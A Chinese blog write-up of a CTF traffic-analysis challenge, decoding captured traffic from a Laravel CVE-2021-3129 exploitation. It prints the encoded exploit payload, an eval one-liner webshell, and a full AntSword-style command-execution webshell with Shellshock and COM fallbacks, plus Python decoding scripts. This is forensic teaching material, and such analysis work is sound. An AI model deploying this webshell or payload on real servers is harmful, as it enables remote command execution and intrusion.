绿城杯-Misc-流量分析

已于 2022-04-22 19:48:09 修改
阅读量2.9k 收藏 2
点赞数
分类专栏： MISC 文章标签： 安全 web安全
于 2022-03-15 19:56:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_49422880/article/details/123504952
版权

绿城杯-Misc-流量分析

0x01 复现开始

导出HTTP对象后开始浏览数据包，发现数据包中有奇怪的流量。
在这里插入图片描述

经过网上查询， 找到这是CVE-2021-3129 漏洞攻击特征,发现这是一种lavarel的流量数据包，是一个远程RCE的一个漏洞。这个流量是经过加密处理的，需要我们进行还原。

  • 将AAA*去掉
  • 把=00换为空
  • base64解码
<?php
$str = 'P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00J=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00C=00y=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00c=007=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00c=00j=00o=00z=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00l=00N=00p=00e=00m=00U=00i=00O=002=00k=006=00L=00T=00E=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00I=00i=00O=002=00E=006=00M=00T=00p=007=00a=00T=00o=00w=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00c=006=00I=00m=00V=00j=00a=00G=008=00g=00X=00j=00w=00/=00c=00G=00h=00w=00I=00E=00B=00l=00d=00m=00F=00s=00K=00E=00B=00n=00e=00m=00l=00u=00Z=00m=00x=00h=00d=00G=00U=00o=00Y=00m=00F=00z=00Z=00T=00Y=000=00X=002=00R=00l=00Y=002=009=00k=00Z=00S=00g=00k=00X=001=00B=00P=00U=001=00R=00b=00M=00T=00Q=000=00M=00z=00N=00d=00K=00S=00k=00p=00O=00z=009=00e=00P=00i=00A=00+=00I=00C=005=00j=00b=002=005=00m=00a=00W=00c=00u=00c=00G=00h=00w=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=001=00p=00O=00j=00c=007=00a=00T=00o=003=00O=003=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00D=00Z=006=00P=00U=00p=00j=00h=00k=00a=00y=00y=00N=00i=00Q=003=00Y=00w=00m=00f=00p=00c=008=00Q=00J=00n=00s=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=00';

$str = str_replace("=00","",$str);

print($str."\n");

print(base64_decode($str));

?>

有多个这样的数据包，需要我们进行解码，从前面开始，多试一个类似的数据包就可以发现这里从开始就写入了一句话木马。
解密结果：
在这里插入图片描述
关注<?php @eval(@gzinflate(base64_decode($_POST[14433])));
是一种加密的木马，上网查询解密脚本


import base64
import zlib
def decode_config_cmd(basestr):
    return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS)
print(decode_config_cmd('c0gtS8zRcEivysxLy0ksSdVISixONTOJT0lNzk9J1VCJD/APDomON6gwSDFJNUpJNUs2TEs0j9XU1LQGAA=='))
#b '@eval(@gzinflate(base64_decode($_POST[_0x0d4e2de6c1fa7])));'

这里既然是写进去了一句话木马，那么就需要我们去查询木马被用来做什么用
在这里插入图片描述

找到流量后直接解密看看传进去的是什么，先对前一部分进行解密，然后找到有一个_0x0d4e2de6c1fa7的参数，然后继续跟踪这个参数。
在这里插入图片描述

继续解密：


import base64
import zlib
def decode_config_cmd(basestr):
    return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS)
print(decode_config_cmd('jVZtT9tIEP5+v2JZWcRWTZy3o5Q9U6MqVSvRAxF0fCiV5dhrsodjW7sOgUv8329m/ZYA1ysI5JmdeXbeZz2RCl/xwqSRUHkSPPtcykwqahM6oBbz4MwvxJL7iViKwhxYzMjySEjXQ8171MxynvrzQHFgg4qIzUrEIhsjC9eRC99psOSm4c+m139Nr7/T2afrr1c3/uevF9M/z79N6Q8NG0jp5pLf+2AJ3EUdtj11qF2jMQ/OwcB8pRZmJW1rfFs9K7TEL/gy90HUtCwWZ5IHYSNIAkUMAedgE9h34Anlr6UognkCZukDaxNmaSHSFWclM4ol+qhP+tTpxzyKhpR5yweEr061pwdeLBLu8yehCtUc7EJ54WJXxWvjvRc1iHa/D7EzwrTAKHh7YbiDn+2dg6GoYcA7MNsdMEP8ocQ/PIOYV6qAId69szb1vRVs+Z/3UgeTLJe7Ns4hcg+gUzIWr9KwEFkK8eNpCMFcFdZG8mIlU4IEyOyIACNfFaa1MaovN5vrvGA0eArxsRhweBr5YcKDFEgeLjJCx8e0TyfxiFa0110GII3QZARCcQxZKAFEga9wEyvk88bIXfTneOJHPMwibqrVXBXgj391Obv5TuOT42E0/jAZvh+MJhP6wx5BfRjq50qreB6Nx7+fjE7i8SBulHj6CEKu91PV+WQ8mI+Hg5PxSfBh3Kj+ahuEbgMX2QN7aLku5OgjPQrJHd0Yqryj9JQ6OxSW4RsqUAIQPTDYpFfnN19c2odUtCS1+vTUWSnpJFkYJI6ai3SXbsnuQH9UJPzDquKJ4v97C/t06tyKNMrWyoFGhYYaj3Z5s2d1e3l7PNnhvTjWKg3jKltzOVvwJHEeh/2Bw9AQbETo/eLZrDMELYhf2Er8KU8wSXS73QYqESmHD2i4RrKbFJWCHhWPek6QFvXRAkbjKWj5ksOwDBvUB/5cgVIXkUGalWVpSBdylJcwBsOSdo0SQwnEYGDU2WZTu5unMIlxLvmNgqKWnjW1LZGldfUwNJssNAx/GeRmr5Bi2bN3GGBykSUYup6NAKysmths7mgnWGwdHsJwhBpIquGIjAOR+tV9Rlzrd+7IVaowH2qRhQ9YgsQI6/B1ZUkGNhlaxHUJlCY5PMQg9Kp49iykTWTo3eMn2T3wtlstswxE0rOsBrCQCAgJiyCTDzAboRQdtaAWxB6aEj7IgUs+n1/Mprh+imVOXIJ7ATrPfL0nbNILVM9ibQ1/ufIvLi9cE5TJEyMlA2fImcYZnR0O9Xp7ZSsIt5RJA4quspJgYsgGHQCmNxy97w/gd4hl0vwdzR+xfhvZerJ+DoBiZT0AwYFqyeyNUjQJJvcq1XGoKDStUYIoUAjGJpciLbpZWt9wI3E3lfv37aU0XEawUqDSQAb3zC+OLyhTDE7V6BCZjVd9ApaNUHW91mJ5oFSxkCst2BBvi+oSgyrlIQpXXnkdE23dV2hEvfoY3go1bKX8dyZSk/6Gz4sXmjmuSFQ14hw2MVKo35NQKOsFZAK3vl65cd7ZEkN6sH9yezSYnCCkl4dJprgW279AZqHfXoIV6rUsvIlUvTYk7ln92ctFzntQrese1Ozo7QM4MUT20kaRfR/+eGWm5raWvtIYvakx6jS8uPatgme79Ahp7VDNe+F+APXb1UdLYQpbuTeHitV2CCayld1ffgduPWG8MIGKagYb/XT5jWK4127K1wQos3c7C6XIi76+qYfr3TXWR2dNPcEbIXMNfnQ2K6JLfNcwvLbvAvvo7BpG0HmSIFPxRmoq5Y4U35Wq+7Cra91ZkHqYC800rt3SAK7XNKHs02b2aBCiUQ7cgfWRoqAGKuFRQBkrw6CAVTZ9CnmuO9ng1qZ6P02vry+vT+ER2UdjIaffuFLBPccVwrq3G4sEsv4F'))
#b'@eval(@gzinflate(base64_decode($_POST[_0xf057e081df888])));'

找出大马：
在这里插入图片描述

在线网站美化一下

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.fedd1";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out)
{
    return $out;
}
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "36" . "4f2";
    echo @asenc($output);
    echo "42" . "ff1";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["f861d394170244"], 2));
    $s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
    $envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return function_exists($f) && is_callable($f) && !in_array($f, $d);
    }
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; {$c} >{$tmp} 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print $output;
                return True;
            }
        }
        return False;
    }
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print @shell_exec($c);
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print join("\r\n", $o);
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print @fgets($fp, 2048);
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print @fgets($io[1], 2048);
            }
            while (!@feof($io[2])) {
                print @fgets($io[2], 2048);
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print $ret;
        } else {
            $ret = 127;
        }
        return $ret;
    }
    $ret = @runcmd($r . " 2>&1");
    print $ret != 0 ? "ret={$ret}" : "";
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

$p = base64_decode(substr($_POST["f861d394170244"], 2));
$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));

根据这三个参数，继续解密出执行的命令是什么。

在这里插入图片描述
那么我们就去除掉前两个字符然后进行base64的解码。
在这里插入图片描述
拿到执行的命令：
cd /d "D:\\phpstudy_pro\\WWW\\secret"&"C:\Program Files\7-Zip\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f

压缩包的密码为：P4Uk6qkh6Gvqwg3y
然后去找压缩包进行解压
在这里插入图片描述

14564
然后继续查看流量，前面已经知道了是是CS马的流量，那么我们继续往下查看即可找到流量，然后提取出压缩包。
在这里插入图片描述

将这些数据，放到文本中在使用脚本读出放入zip文件即可。

import binascii
hexdata = ""
with open("test.txt","r") as file:
    hexdata=file.read()
print(hexdata[0:2],type(hexdata))
hexdata = list(hexdata)
hexdata = ''.join(hexdata)
with open("test.zip","wb") as f:
    f.write(binascii.unhexlify(hexdata))

得到压缩包解压后生成：
在这里插入图片描述

小蓝同学`
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTF之misc杂项解题技巧总结（2）——流量分析
若谷的博客
12-22 1418
以前的POST方式是不支持传送文件的，对于普通的post来说，他的Content-type是application/x-www-from-urlencode，也就意味着消息的内容会被url编码，但是后来支持传送文件，将Content-type扩展为multipart/form-data，来向server发送二进制数据，并且还要用一个内容分隔符来分割数据，boundry. 同时chrome和ie的策略也有所不同，IE是传送完整的路径，而Chrome只传送文件名。难道是被加密的文件要用私钥来进行解密？
2021年“绿城杯”网络安全大赛-Misc-流量分析
qq_43264813的博客
09-30 7941
2021年“绿城杯”网络安全大赛-Misc-流量分析 题目名称：流量分析 题目内容：一道复杂的流量分析 题目分值：200.0 题目难度：中等 相关附件：流量分析的附件.zip 解题思路： 1.流量过一遍。发现.config.php 是 webshell。找攻击者如何写入 webshell。发现存在一些可疑的 POST 流量，UA 头是 python requests。通过返回包发现程序报错。使用 Laravel。 发现流量中可疑的字符串。 2.网上查找资料发现是 CVE-2021-3129 漏洞攻击特征。
[2021绿城杯] [Misc] 流量分析 + cobaltstrike 流量解密
ShenZ的博客
03-17 4961
2021年“绿城杯”网络安全大赛-Misc-流量分析 1.webshell分析 2.解密 cobaltstrike 流量 （1）分析`.cobaltstrike.beacon_keys`得到私钥 （2）通过私钥解密元数据、获取 `AES KEY` （3）解密cs流量 框架是Laravel，利用CVE-2021-3129命令执行写马。 分析发现webshell是/.config.php tcp.stream eq 2509
Misc 流量分析
最新发布
2301_80911344的博客
05-07 739
网络流量分析是指捕捉网络中流动的数据包，并通过查看包内部数据以及进行相关的协议、流量分析、统计等来发现网络运行过程中出现的问题。在CTF比赛中，以及各种技能大赛对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件，参赛选手通过该文件筛选和过滤其中无关的流量信息，根据关键流量信息找出flag或者相关线索。pcap流量包的分析通常都是通过图形化的网络嗅探器-wireshark进行的，这款嗅探器经过众多开发者的不断完善，现在已经成为使用最为广泛的安全工具之一。
2021年“绿城杯”网络安全大赛
09-30
2021年“绿城杯”网络安全大赛
2021-10-12T15_46_29.634969+00_00misc题_流量分析.rar
10-21
CTF附件题——MISC类型——数据库登录
BUUCTF——MISC（流量分析）
m0_55854679的博客
07-25 4617
也可以使用关键词phpinfo(),仔细查看每一个符合要求的流量包，得到。提示告知是文件传输的流量，那进去过滤http流量包即可，找到关于。，发现flag正确，所以后面看见的邮箱也就不需要试了。等关键字的数据包，另存后使用记事本打开，即可看到。还是上一题的流量包，我们知道发送邮件的协议一般为。在上上一题中，我们得到了黑客的攻击IP。这里要找文件名，因为是后门文件，一般是。我们首先尝试第一眼看到的。，首先过滤一下这个IP；发现次数最多的IP地址。2.或者搜索字符串。...
【misc】流量分析总结
weixin_51614272的博客
11-27 1634
先来题目： 一个最简单的流量分析题 这个题直接追踪http流查看每个流量包即可发现flag。 解题思路： 1.用wireshark打开，分析http流和tcp流 2.搜索和flag有关的关键字（txt,flag,secret,zip），寻找信息,寻找进一步解题思路 3.导出http流和tcp流查看 流量分析题总体题型： 一，ping 报文信息 （icmp协议） 二，上传/下载文件（蓝牙obex，http，难:文件的分段上传/下载） 三，sql注入攻击 四，访问特定的加密解密网站（md5，base64） 五
网络空间安全市赛Misc一道简单的流量分析题
Mark的博客
11-28 1万+
这道题给了一个流量包，内部分了7个小题 1：首先可以在导出HTTP中查看攻击流量 第一题的flag答案便是： [172.16.1.101] 2、查端口，我们找到黑客ip后便过滤ip，输入ip.addr==172.16.1.102 往下分析你会发现很集中的有端口扫描现象，黑客是通过37113来扫描的，你只需要看这些便可，便能得到flag，所以第二题flag为[21,23,80,445,3389,5007] 3/4两题、要分析出黑客最终获得的用户名就得找到黑客什么时候登录的，攻击点在哪里，那就用
C# 加解密 （对称，非对称，散列）
07-22
C# 加解密 1.对称加解密：AES , DES 2.非对称加解密: RSA 3.散列函数: MD5
安恒杯-misc-附件资源
03-05
安恒杯-misc-附件资源
CTF Misc(3)流量分析基础以及原理
Ba1_Ma0的博客
10-11 3543
流量分析基础以及原理
CTF--Misc--流量分析
weixin_53425135的博客
10-06 3128
网络流量包流转于各个环节，我们可以通过捕捉网络中流动的数据包，然后查看流量包内部的数据以及相关协议，流量分析、统计等等。一般情况下，捕捉到数据包可以通过过滤规则得到我们想要的有用的信息，也更好的方便我们进行查找关键信息，提高效率。在计算机网络中传输层协议最常见的是TCP协议，我们可以通过对TCP数据流的追踪与分析。以buuctf–被劫持的礼物为例子，进行正常的过滤、tcp数据追踪得到。功能：可以很直观的看到流量包的大致情况，以及快速定位到需要分析的地方。流量包不是普通的网络流量包，是其它类型的流量包。
MISC：HTTP 流量分析技术.
网络安全领域___专研者.
05-15 2511
Misc即杂项，是信息隐藏又称信息伪装，就是通过减少载体的某种冗余，如空间冗余、数据冗余等，来隐藏敏感信息，达到某种特殊的目的。 信息隐藏打破了传统密码学的思维范畴，从一个全新的视角审视信息安全。与传统的加密相比，信息隐藏的隐蔽性更强，在信息隐藏中，可以把这两项技术结合起来，先将秘密信息进行加密预处理，然后再进行信息隐藏，则秘密信息的保密性和不可觉察性的效果更佳。
CTF——MISC习题讲解（流量分析winshark系列~三）
tlovejr的博客
03-16 4616
CTF——MISC习题讲解（流量分析winshark系列~三） 前言 上一章节我们已经做完一场流量分析杂项题目，接下来继续给大家讲解流量分析系列三。 一、ssl流量 首先打开题目得到两个文件，一个是log结尾的文件，另一个就是正常的流分包TLSv1.3都是经过加密的流量，所以我们第一步就应该解密，首先在我们文件里有一个解密的东西，我们进行导入 点击 编辑->首选项-> 然后需要我们把题目中自带的文件直接导入进去看看 导入完后就有http的协议 然后就发现有了flag的字眼 然后就直接TLS流
MISC_流量分析
weixin_65204980的博客
12-03 73
发现都是这个网址发文件直接应有过滤出来http.response_for.uri == “http://网站/文件。按题目提示盲注（文件的注入第一次遇到）工具将http包过滤出来（sql是通过其）用winhex也没有发现调高度得到一个东西尝试不是flag。提示flag在文件中感觉是流量分析。用wik分析搜索png流量追踪得到flag。盲注是成片的所以通过排序查找得到flag。发现盲注全部保存出来拼起来得到flag。发现是py另存为再解析得到flag。”直接保存出来查看文档得到flag。
CTF——MISC——流量分析
热门推荐
小锤队长的博客
09-26 2万+
目录 一、流量包修复 二、协议分析 三、数据提取 例题： 1，题目：Cephalopod(图片提取) 2,题目：特殊后门(icmp协议信息传输) 3,题目：手机热点(蓝牙传输协议obex,数据提取) 4,题目：想蹭网先解开密码(无线密码破解) 5,我的的教练也想打CTF 概括来讲在比赛中的流量分析有以下三个方向： 1、流量包修复 2、协议分析 3、数据提取 一、流量包修复 ...
近期misc刷题主要是流量分析部分
cppuHsir的博客
07-20 749
misc流量分析以及蓝帽杯misc部分题目
MISC-流量分析
weixin_51086098的博客
04-11 948
MISC-流量分析 题目： 附件下载链接 使用工具：Wireshark,Base64在线编译器 过程： 下载题目附件得到.pcap文件，使用wireshark打开该文件，之后我尝试搜索字符串flag，得到下图结果 此时我们可以看到发送了一个叫flag.zip的文件，并且文件发送形式为SMTP,即为邮件发送，我们可以知道SMTP常使用TCP 协议，所以我们截取TCP流得到下图 其中我们可以看到全文使用base64加密方式，我们使用上文提到base64在线解密链接，解密1eLA7…这段字符串，得
kbd-misc-2.5.1
09-13
kbd-misc-2.5.1是一个Linux操作系统下的键盘输入处理工具包，它包含了一些常用的工具和驱动程序，如loadkeys、dumpkeys、kbd_mode等。这些工具可以帮助用户配置和管理Linux系统下的键盘输入设备，包括设置键盘映射、...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值